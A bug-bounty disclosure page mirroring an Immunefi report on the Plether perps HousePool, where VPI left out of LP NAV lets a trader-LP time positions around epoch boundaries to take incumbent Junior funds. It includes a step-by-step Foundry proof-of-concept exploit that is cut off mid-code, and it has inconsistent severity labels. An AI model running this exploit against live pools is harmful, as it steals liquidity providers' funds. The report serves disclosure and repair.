VPI excluded from LP NAV but always reversed by the lifetime clamp lets an LP time its own position around epoch boundaries to take incumbent Junior funds
The pool's net asset value for liquidity providers ignores outstanding price-impact charges and rebates that the lifetime clamp guarantees will reverse exactly when a position closes. A trader who is also a Junior liquidity provider can open a position just before an epoch boundary, have its own deposit or redemption priced at the distorted NAV, then close and recover the charge, taking value from incumbent Junior providers.
Originally disclosed on Immunefi
- Disclosed after under an hour
#97690 [SC-Critical] VPI excluded from LP NAV but always reversed by the lifetime clamp lets an LP time its own position around epoch boundaries to take incumbent Junior funds
Submitted on Nov 2nd 2026 at 17:46:47 UTC by @Naresh_Kandula for Audit Competition | Plether
- Report ID: #97690
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Theft of unclaimed yield
Description
Brief/Intro
Outstanding VPI (price-impact charges and rebates) moves real cash in and out of HousePool when a position opens, and the lifetime clamp guarantees it reverses exactly at close, but LP NAV ignores that outstanding VPI. An unprivileged trader who is also a Junior LP can open its own skew-changing position seconds before an hourly LP epoch boundary, have its Junior redemption (or deposit) priced at the mispriced NAV, then close and get the VPI reversed, paying only execution fees. No organic order flow is required. At release parameters this takes about 0.4% of incumbent Junior principal per 3-hour cycle (+26.5k USDG per cycle at a 40M/10M pool), and a persistent-position variant drains about 12.5% of passive incumbent Junior per day. Senior is not affected.
Vulnerability Details
VPI moves real cash in and out of HousePool when a position opens:
- A skew-increasing open pays a VPI charge
Cinto the pool. It is booked as revenue, so NAV rises byC. - A skew-reducing open receives a rebate
Rfrom the pool, so NAV falls byR.
The lifetime clamp guarantees that both reverse exactly when the position closes (CloseAccountingLib.sol:103-118). A position's lifetime VPI can never end below zero, and the close VPI of a full round trip refunds an earlier charge, or claws back an earlier rebate, to exactly zero. A non-withdrawable reserve backs the rebate clawback.
LP NAV, however, counts only pool cash, the terminal price delta and trader claims (HousePoolAccountingLib.sol:57-76). It ignores the outstanding VPI that is certain to reverse. While a position is open, NAV is therefore overstated by C or understated by R, and LP shares are priced from that NAV at a permissionless hourly epoch boundary.
An attacker who is also a Junior LP:
- Scenario A (main; no organic flow needed): opens a large skew-increasing position about 70 s before the boundary at which its own matured redemption settles. The redemption is priced at NAV + C. It then closes the position and gets
Crefunded. The trader leg's lifetime VPI is exactly 0, so it pays only the two 4 bp execution fees. - Scenario B (entry side, when organic skew exists): opens a skew-reducing position just before its own Junior deposit activates. The deposit is priced at NAV − R. It then closes, and the clamp returns
Rto the pool.
The two scenarios stack. The attacker's gain equals the incumbent Junior loss, one for one, and Senior is unaffected.
This breaks properties the protocol documents:
- SECURITY.md:1443 (Known Limitations, VPI): "the lifetime clamp intentionally zeroes otherwise extractable rebate-only round trips". These cycles are round trips with zero lifetime VPI, and they are still extracted, through LP pricing.
- SECURITY.md:859-860: "new LPs receive the same marked-liability discount borne by existing LPs and do not inherit old trader obligations at a higher deposit NAV".
Root cause
- Positive charge enters NAV as revenue.
applyOpenCostdebitstradeCostAssets = vpiAssets + executionFeeAssets(OpenAccountingLib.sol:127-135). The non-fee portion is booked throughrecordClaimantInflow(..., ClaimantInflowKind.Revenue, CashArrived)(CfdEngineSettlementSidecar.sol:446-463), which raisesaccountedAssets. - Rebates leave NAV. A negative trade cost becomes
poolRebatePayoutAssets(CfdEnginePlanLib.sol:333), paid throughHousePool.payOut(CfdEngineSettlementSidecar.sol:442-443; HousePool.sol:604-613). - The guaranteed reversal is never booked. Reconcile NAV is
physicalAssets ± terminalPriceDelta − traderClaims, with no VPI term (HousePoolAccountingLib.sol:57-76). The terminal book caps collectible value at pledge + claim (TerminalNavBookV2.sol:433-434). A reserve exists only for negative VPI (CfdEnginePlanLib.sol:48-55), and even that reserve is not an LP asset. - LP shares are priced from that NAV.
settleLpEpoch(HousePool.sol:797-821), reachable through the permissionless Router path, reconciles and then prices Junior activations and redemptions fromjuniorPrincipal(HousePool.sol:824, :839, :915). - The reversal is exact. For a full close, the proportional accrual is the entire lifetime VPI, and the clamp sets close VPI to
−accrual(CloseAccountingLib.sol:116-117). The positive-side refund is paid from free pool cash (CfdEnginePlanLib.sol:970-977). The negative-side clawback is consumed from the reserve (CfdEnginePlanLib.sol:1052-1057; CfdEngineSettlementSidecar.sol:691-692).
Why the documented VPI exclusion does not cover this
SECURITY.md:871-872 and ACCOUNTING_SPEC.md:1064-1066 ("anticipated carry, VPI, fees, spreads… stay outside terminal K … The VPI reserve therefore does not inflate marked LP receivables or symmetric LP NAV") describe the mechanism. They do not accept a transfer between LPs, and the reason given for the exclusion is to avoid phantom or anticipated receivables (SECURITY.md:861). Here the reversal is not anticipated, for two reasons:
- The attacker controls it. The attacker's own close follows seconds later.
- The clamp makes it exact. For rebates, a locked reserve also backs it.
The team spells out its acceptance of LP-cohort timing transfers in one place only, for carry (ACCOUNTING_SPEC.md:737-740: "This intentionally allows a trader and incoming LP to time collection after LP activation … collection-time ownership policy"). There is no equivalent for VPI, and the VPI Known Limitation says the opposite (SECURITY.md:1443).
SECURITY.md:1049 ("trading … can change NAV") refers to real economic changes. Here NAV is mispriced by an amount the attacker both creates and reverses.
Attack (Scenario A: one cycle, public paths only)
The attacker is unprivileged and orders are executed by an independent keeper. There is no organic skew.
| Time | Action |
|---|---|
| T0 (flat book) | requestDeposit into Junior, activated at fair NAV. After the 1 h cooldown, requestRedeem for epoch T. |
| T−70 s | OrderRouter.commitOrder for a skew-increasing position X of up to 40% of depth, executed by a keeper. The pool books charge C = k·X²/(2D) as revenue. |
| T | The attacker (acting as keeper) calls router.settleLpEpoch. The redemption is funded at NAV + C. |
| T + seconds | Full close. The clamp refunds exactly C from the pool. |
Edge per cycle ≈ f·C − 8bp·X, where f is the attacker's share of Junior at exit. The edge is convex in X, so the optimum is at the 40% skew cap, where C ≈ 0.0008·D. It is positive whenever f > ~0.41.
Junior has no cap and deposits can be cancelled until their epoch (TrancheVault.sol:852-859). The capital needed is about 4× incumbent Junior for f = 0.8. The edge is still positive at f = 0.5.
Impact Details
Selected impact: High: theft of unclaimed yield. Incumbent Junior LPs are owed the pool's VPI round trip, which the clamp guarantees will net to zero. An unprivileged LP captures it at every epoch through entry and exit pricing. In every PoC run, the attacker's gain equals the incumbent Junior loss one-for-one, and Senior is unchanged.
- Scenario A (no organic skew), small pool: edge +2,644.71 USDG per cycle; incumbent Junior loses 4,044.91.
- Release scale (Senior 40M / Junior 10M): +26,469.54 per cycle; 11 cycles (~33 h) net +294,994.96, and incumbent Junior falls 9,974,697.75 → 9,520,100.73 (−4.56%).
- Scenario B (entry side, organic skew): +1,797.00 per cycle.
- Escalation (persistent position): incumbent Junior −12.50% per day, −32.9% over 3 weekdays. The result is scale-invariant and hedgeable. About 73% of this variant's edge comes from depth (disclosed); the rest persists at constant depth.
- Capital: roughly 4× incumbent Junior for an attacker share f = 0.8. The edge stays positive for f > ~0.41, and Junior is uncapped. An alert incumbent loses about one cycle before it can exit; passive incumbents keep losing.
Why this is not a known issue
- No matching finding in any listed source. I checked all three audits, the AI scan, SECURITY.md Known Limitations and the program's known-issue list. The nearest entries:
- AI-scan :1334 (nominal rebate credit with fee-on-transfer tokens) has a different root cause.
- S4/S30/S31 manipulate the VPI amount through depth, which is the "sandwich" CloseAccountingLib.sol:112 refers to. Here the amount is untouched and the clamp makes the refund exactly
C. - SC-H1 (deposit before yield) was removed in the redesign.
- HIGH-1 covers Pyth clock alignment. This attack is deterministic at a flat price, and it meets HIGH-1's own bar of repeatable, net-profitable extraction from LPs.
- MED-24/MED-29 cover refund-epoch liveness and dust rounding.
- There is no issue or PR in either public repository.
Recommendation
Book outstanding signed VPI in the LP snapshot at its guaranteed reversal value:
- subtract
Σ max(vpiAccrued, 0)over open positions as a liability (refunds the clamp allows); - add the reserve-backed
Σ max(−vpiAccrued, 0)as an asset;
in HousePoolAccountingLib.buildReconcileSnapshot.
Alternatively, defer LP activations and redemptions while any position opened within the current epoch is still open, or price them net of outstanding VPI.
References
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/libraries/HousePoolAccountingLib.sol (buildReconcileSnapshot, L57-76)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/CfdEngineSettlementSidecar.sol (L442-443, L446-463, L691-692)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/libraries/CloseAccountingLib.sol (L103-118)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/libraries/CfdEnginePlanLib.sol (L48-55, L333, L970-977, L1052-1057)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol (L604-613, L797-821, L824, L839, L915)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/TerminalNavBookV2.sol (L433-434)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/SECURITY.md (L859-872, L1443)
- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/ACCOUNTING_SPEC.md (L737-740, L1064-1066)
Appendix: test/perps/Hunt_N2Final.t.sol (Scenario B, entry side; 8/8 pass)
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
// N2 FINAL (pin a82d4fef) — negative-VPI open rebate is paid from pool cash and EXCLUDED from LP NAV, but the lifetime
// clamp always claws it back at close. An actor who holds a Junior deposit request AND opens a skew-reducing position
// just before the LP epoch boundary gets its deposit priced at a NAV that is understated by exactly the rebate R; the
// clawback at close then returns R to a Junior supply that now includes the attacker's freshly minted shares.
//
// (1) requestDeposit (Junior) at T-10min (request cutoff is T-5min) -> activates at epoch boundary T
// (2) T-70s: commitOrder(LONG, skew-reducing) ; T-69s: third-party keeper executeOrder -> rebate R paid, NAV -R
// (3) T: attacker calls router.settleLpEpoch (permissionless keeper path) -> deposit priced at NAV - R
// (4) T+1s: commitOrder(close) ; keeper executeOrder -> lifetime clamp claws back exactly R, NAV +R (shared)
// (5) T+1h+1s (cooldown) requestRedeem ; T+2h settleLpEpoch ; claimRedeem
//
// Everything runs through public entrypoints: production OrderRouter.commitOrder(OrderV3Types.OrderRequest) (no test
// adapter), router.executeOrder / settleLpEpoch / updateMarkPrice, TrancheVault requestDeposit / claimDepositShares /
// requestRedeem / claimRedeem. Real HousePool, TrancheVault (both), MarginClearinghouse, CfdEngine, PletherOracle.
// Mocks: MockPyth (Pyth updates) and MockSettlementToken (USDG) only, both out of scope. No vm.store/etch/mockCall.
// Owner action: setUp applies DEPLOYMENT.md release router/oracle params through the normal 72h timelock (documented
// normal deployment configuration). Risk params = DEPLOYMENT.md "Initial release parameters".
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {console2} from "forge-std/console2.sol";
import {BasePerpTest} from "./BasePerpTest.sol";
contract Hunt_N2FinalTest is BasePerpTest {
address internal constant COUNTER = address(0x2C0); // organic short-heavy flow (other traders)
address internal constant ORGANIC_LONG = address(0x2C1); // organic skew-reducing trader (passive scenario)
address internal constant ATK_TR = address(0x2A71); // attacker trader account
address internal constant ATK_LP = address(0x2A72); // attacker LP account (same entity)
address internal constant KEEPER = address(0x2A73); // independent third-party keeper (executes orders)
uint256 internal constant P0 = 1e8; // basket price 1.00 (8 decimals)
uint256 internal constant BP = 10_000; // 1 bp of P0
uint256 internal constant SKEW = 2_000_000e18; // organic short: 2M notional = 40% of ~5M depth (release cap)
uint64 internal confRaw; // per-feed Pyth confidence (0 = mock default)
struct Outcome {
uint256 lpAssetsOut;
int256 traderDelta;
int256 attackerNet;
uint256 incumbentJunior;
uint256 incumbentSenior;
int256 rebate;
uint256 navBeforeOpen;
uint256 navAtSettle;
uint256 navAfterClose;
uint256 shares;
}
struct Cmp {
int256 edge; // attacker net (attack) - attacker net (control)
int256 lpLegGain; // LP assets out (attack) - LP assets out (control)
int256 incumbentLoss; // incumbent Junior value (control) - (attack)
int256 seniorDiff; // incumbent Senior value (attack) - (control)
int256 rebate;
int256 traderDelta;
int256 attackNet;
int256 controlNet;
uint256 confSpread; // 2 fills x (conf x 2500 bps) x size, in USDG atoms
}
// ------------------------------------------------------------------ release configuration
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
// DEPLOYMENT.md "Initial release parameters"
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialSeniorDeposit() internal pure override returns (uint256) {
return 4_000_000e6; // 80% of pool = release maxSeniorShareBps
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 1_000_000e6;
}
function setUp() public override {
super.setUp();
assertEq(engine.executionFeeBps(), 4, "release exec fee 4 bps");
// Owner, normal deployment configuration through the 72h timelock: DEPLOYMENT.md oracle/router release values.
IOrderRouterAdminHost.RouterConfig memory cfg = _routerConfig();
cfg.basketMaxConfidenceRatioBps = 10;
cfg.adverseConfidenceMultiplierBps = 2500;
cfg.minOpenNotionalAssets = 1000e6;
_setRouterConfig(cfg);
assertEq(router.pletherOracle().adverseConfidenceMultiplierBps(), 2500);
vm.deal(KEEPER, 10 ether);
vm.deal(ATK_TR, 10 ether);
_fundTrader(COUNTER, 200_000e6);
_fundTrader(ORGANIC_LONG, 200_000e6);
_fundTrader(ATK_TR, 200_000e6);
_refresh(P0);
_trade(COUNTER, CfdTypes.Side.SHORT, SKEW, 100_000e6, false, P0);
}
// ------------------------------------------------------------------ public-path helpers
function _pythData(
uint256 price
) internal returns (bytes[] memory data) {
vm.roll(vm.getBlockNumber() + 1);
vm.warp(vm.getBlockTimestamp() + 1);
bytes32[] memory ids = _basePythFeedIds();
uint256 previous = engine.lastMarkTime();
MockPyth.FeedUpdate[] memory ticks = new MockPyth.FeedUpdate[](ids.length);
for (uint256 i; i < ids.length; ++i) {
ticks[i] = MockPyth.FeedUpdate(
ids[i], MockPyth.MockPrice(int64(uint64(price)), confRaw, -8, vm.getBlockTimestamp(), previous)
);
}
data = new bytes[](1);
data[0] = abi.encode(ticks);
}
function _refresh(
uint256 price
) internal {
bytes[] memory d = _pythData(price);
vm.prank(KEEPER);
router.updateMarkPrice(d);
}
/// Production V3 commit (the bounded-order surface a real frontend uses). Market order: no price limit.
function _commit(
address trader,
CfdTypes.Side side,
uint256 size,
uint256 margin,
bool isClose
) internal returns (uint64 id) {
uint256 window = router.maxExecutionWindowSeconds();
OrderV3Types.OrderRequest memory req = OrderV3Types.OrderRequest({
clientOrderId: keccak256(abi.encode(trader, block.timestamp, size, isClose)),
side: side,
sizeDelta: size,
marginDelta: margin,
targetPrice: (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1,
isClose: isClose,
bounds: OrderV3Types.ExecutionBounds({
submitBy: uint64(block.timestamp + window),
executionWindowSeconds: uint32(window),
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: type(uint256).max,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: 0,
maxPostLeverageBps: type(uint32).max
})
});
vm.prank(trader);
id = OrderRouter(payable(address(router))).commitOrder(req);
}
function _execute(
uint64 id,
uint256 price
) internal {
bytes[] memory data = _pythData(price);
vm.prank(KEEPER); // independent keeper; any open-order bounty it earns is a cost to the attacker
OrderV3Types.ExecutionResult memory r = router.executeOrder(id, data);
assertEq(uint8(r.status), uint8(OrderV3Types.LifecycleStatus.Executed), "order executed");
}
function _trade(
address trader,
CfdTypes.Side side,
uint256 size,
uint256 margin,
bool isClose,
uint256 price
) internal {
_execute(_commit(trader, side, size, margin, isClose), price);
}
/// Permissionless epoch settlement via the Router keeper path, called by `caller` (any address).
function _settleEpoch(
address caller,
uint256 price
) internal {
bytes[] memory d = _pythData(price);
vm.prank(caller);
router.settleLpEpoch(d);
}
function _vpi(
address a
) internal view returns (int256 v) {
(,,,,,, v) = engine.positions(a);
}
function _size(
address a
) internal view returns (uint256 s) {
(s,,,,,,) = engine.positions(a);
}
function _lpNav() internal view returns (uint256) {
return juniorVault.totalAssets() + seniorVault.totalAssets();
}
/// Next epoch boundary T that still accepts requests at T-10min (request cutoff is T-5min).
function _nextTarget() internal view returns (uint256 T) {
T = ((block.timestamp + 15 minutes) / 1 hours + 1) * 1 hours;
}
// ------------------------------------------------------------------ one cycle
/// size == 0 is the CONTROL: identical LP deposit / redeem timing and prices, no trader leg.
/// holdPrice is the basket price from T+30min through the redeem settlement (LP-leg market exposure).
function _cycle(
uint256 depositAssets,
uint256 size,
uint256 holdPrice
) internal returns (Outcome memory o) {
uint256 traderBefore = clearinghouse.balanceAssets(ATK_TR);
uint256 T = _nextTarget();
// (1) T-10min: request a Junior deposit; it is assigned to the epoch that activates at T
vm.warp(T - 10 minutes);
_refresh(P0);
settlementToken.mint(ATK_LP, depositAssets);
vm.startPrank(ATK_LP);
settlementToken.approve(address(juniorVault), depositAssets);
uint256 depId = juniorVault.requestDeposit(depositAssets, ATK_LP, ATK_LP);
vm.stopPrank();
assertEq(juniorVault.depositEpochStart(depId), T, "deposit activates at targeted boundary");
// (2) T-70s commit / T-69s keeper executes a skew-reducing LONG -> negative VPI rebate paid from pool cash
vm.warp(T - 70);
_refresh(P0);
o.navBeforeOpen = _lpNav();
if (size != 0) {
uint64 openId = _commit(ATK_TR, CfdTypes.Side.LONG, size, 20_000e6, false);
_execute(openId, P0);
o.rebate = _vpi(ATK_TR);
assertLt(o.rebate, 0, "open received a VPI rebate");
assertLt(block.timestamp, T, "open executed before the boundary");
}
// (3) T: attacker itself settles the epoch through the permissionless Router path
vm.warp(T - 1); // _pythData advances 1 s -> settlement at exactly T
_settleEpoch(ATK_TR, P0);
assertEq(block.timestamp, T);
o.navAtSettle = _lpNav();
// (4) close right after settlement (flat price) -> lifetime clamp claws back the full rebate
if (size != 0) {
uint64 closeId = _commit(ATK_TR, CfdTypes.Side.LONG, size, 0, true);
_execute(closeId, P0);
assertEq(_size(ATK_TR), 0, "attacker trader leg flat");
} else {
_refresh(P0);
}
o.navAfterClose = _lpNav();
vm.prank(ATK_LP);
o.shares = juniorVault.claimDepositShares(depId);
// LP hold: optional basket move at T+30min, kept through the redeem settlement
vm.warp(T + 30 minutes);
_refresh(holdPrice);
// (5) after the 1h cooldown: request redeem, settle next epoch, claim
vm.warp(T + 1 hours + 1);
_refresh(holdPrice);
vm.prank(ATK_LP);
uint256 redId = juniorVault.requestRedeem(o.shares, ATK_LP, ATK_LP);
vm.warp(pool.lpEpochStart(redId) - 1);
_settleEpoch(ATK_TR, holdPrice);
uint256 claimable = juniorVault.claimableRedeemRequest(redId, ATK_LP);
assertEq(claimable, o.shares, "redeem fully funded");
vm.prank(ATK_LP);
o.lpAssetsOut = juniorVault.claimRedeem(redId, claimable, ATK_LP, ATK_LP);
o.traderDelta = int256(clearinghouse.balanceAssets(ATK_TR)) - int256(traderBefore);
o.attackerNet = int256(o.lpAssetsOut) - int256(depositAssets) + o.traderDelta;
o.incumbentJunior = juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
o.incumbentSenior = seniorVault.convertToAssets(seniorVault.balanceOf(address(this)));
}
function _log(
string memory tag,
Outcome memory o
) internal pure {
console2.log(tag);
console2.log(" rebate (vpiAccrued after open)");
console2.logInt(o.rebate);
console2.log(" LP NAV before open / at settle / after close", o.navBeforeOpen, o.navAtSettle, o.navAfterClose);
console2.log(" shares minted / LP assets out", o.shares, o.lpAssetsOut);
console2.log(" trader clearinghouse delta (fees, bounty, carry)");
console2.logInt(o.traderDelta);
console2.log(" ATTACKER NET (LP out - deposit + trader delta)");
console2.logInt(o.attackerNet);
console2.log(" incumbent junior / senior value", o.incumbentJunior, o.incumbentSenior);
}
/// Runs CONTROL then ATTACK from the same snapshot. State is left AFTER the attack (so cycles can chain).
function _attackVsControl(
string memory tag,
uint256 depositAssets,
uint256 size,
uint256 holdPrice
) internal returns (Cmp memory r) {
uint256 snap = vm.snapshotState();
Outcome memory c = _cycle(depositAssets, 0, holdPrice);
vm.revertToState(snap);
Outcome memory a = _cycle(depositAssets, size, holdPrice);
console2.log("==========", tag);
_log("CONTROL (same snapshot, no trader leg)", c);
_log("ATTACK", a);
r.edge = a.attackerNet - c.attackerNet;
r.lpLegGain = int256(a.lpAssetsOut) - int256(c.lpAssetsOut);
r.incumbentLoss = int256(c.incumbentJunior) - int256(a.incumbentJunior);
r.seniorDiff = int256(a.incumbentSenior) - int256(c.incumbentSenior);
r.rebate = a.rebate;
r.traderDelta = a.traderDelta;
r.attackNet = a.attackerNet;
r.controlNet = c.attackerNet;
uint256 shift = uint256(confRaw) * router.pletherOracle().adverseConfidenceMultiplierBps() / 10_000;
r.confSpread = 2 * size * shift / 1e8 / 1e12;
console2.log("EDGE (attack net - control net)");
console2.logInt(r.edge);
console2.log("attacker LP-leg gain vs control");
console2.logInt(r.lpLegGain);
console2.log("incumbent Junior loss vs control");
console2.logInt(r.incumbentLoss);
console2.log("incumbent Senior diff vs control");
console2.logInt(r.seniorDiff);
}
function _assertTransfer(
Cmp memory r
) internal pure {
assertGt(r.edge, 0, "attack net-profitable after all costs");
assertGt(r.incumbentLoss, 0, "incumbent Junior pays");
// The LP-leg gain is taken 1:1 from incumbent Junior, plus the attacker's own adverse-confidence spread that the
// trader leg paid INTO the pool (2 fills x shift x size; 0 when conf = 0). Tolerance: 0.1% of the rebate.
assertApproxEqAbs(
r.lpLegGain - r.incumbentLoss, int256(r.confSpread), uint256(-r.rebate) / 1000, "LP gain == incumbent loss"
);
// edge == LP-leg gain + trader-leg cost (the trader leg's only cost is fees/bounty/carry; lifetime VPI is 0)
assertEq(r.edge, r.lpLegGain + r.traderDelta, "edge decomposition");
// Senior is untouched (fixed-coupon tranche)
assertApproxEqAbs(r.seniorDiff, 0, 2e6, "Senior unaffected");
}
// ------------------------------------------------------------------ tests
/// 1. CONTROL: same snapshot, no trader leg -> LP round trip nets <= 0; incumbent unchanged except normal flows.
function test_control() public {
uint256 incBefore = juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
Outcome memory c = _cycle(4_000_000e6, 0, P0);
_log("CONTROL", c);
assertEq(c.traderDelta, 0, "no trader leg");
assertLe(c.attackerNet, 0, "plain LP round trip is not profitable");
assertApproxEqRel(c.lpAssetsOut, 4_000_000e6, 0.0001e18, "round trip ~flat (carry/coupon only)");
// incumbent Junior only moves by ordinary carry/coupon flows (< 1 bp of its value over ~2h)
assertApproxEqRel(c.incumbentJunior, incBefore, 0.0001e18, "incumbent unchanged except normal flows");
console2.log("incumbent junior before / after", incBefore, c.incumbentJunior);
}
/// 2. Full public-path single cycle, f ~ 0.8 (deposit 4M vs 1M incumbent Junior), long 1.5M vs 2M organic short.
function test_attack_singleCycle() public {
Cmp memory r = _attackVsControl("SINGLE CYCLE conf=0", 4_000_000e6, 1_500_000e18, P0);
_assertTransfer(r);
}
/// 3. Realistic Pyth confidence: 2 bps per feed -> basket conf 2 bps, adverse shift 0.5 bp per fill (x2500 bps).
function test_attack_withReleaseConfidence() public {
confRaw = uint64(2 * BP); // 2 bps of P0
Cmp memory r = _attackVsControl("SINGLE CYCLE conf=2bps", 4_000_000e6, 1_500_000e18, P0);
_assertTransfer(r);
}
/// 4. 5 bps basket move during the LP hold, both directions. Organic flow is net SHORT, and SHORT profits when the
/// basket RISES (CfdTypes.Side), so a RISE is adverse for the pool and for the attacker's Junior position. The
/// edge vs control keeps its sign and the attacker's absolute P&L is linear in the move => zero-mean (hedgeable)
/// noise around the flat result. Runs with 2 bps confidence.
function test_attack_adverseMoveDuringHold() public {
confRa
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the reconcile snapshot used to price LP shares omits outstanding signed VPI, even though the lifetime clamp guarantees it reverses exactly at close.
Impact
An unprivileged LP could repeatedly take a share of incumbent Junior principal, about 0.4% per cycle at release scale, while Senior is unaffected.
What the attacker needed
A Junior LP position; capital of roughly 4x incumbent Junior; orders executed by a keeper; timing around an epoch boundary
The fix
Outstanding signed VPI should be booked in the LP snapshot at its guaranteed reversal value, or LP activations and redemptions should be deferred or priced net of it.
How it was found
- Request a Junior deposit that activates at a chosen hourly epoch boundary.
- About 70 seconds before the boundary, open a skew-increasing position so a VPI charge is booked as pool revenue.
- At the boundary, settle the LP epoch so the redemption or deposit is priced at the inflated NAV.
- Close the position seconds later so the clamp refunds the charge exactly.
- After the cooldown, request redemption, settle the next epoch and claim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Liquidity providers put money into a shared pool and own a share of it, priced from the pool's net asset value. When a trader opens a position, the pool temporarily takes in or pays out a price-impact charge, but that money is always given back when the position closes. The pool's share price ignored this temporary money, so someone who was both a trader and a liquidity provider could time their own deposit or withdrawal around it and profit at other providers' expense.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.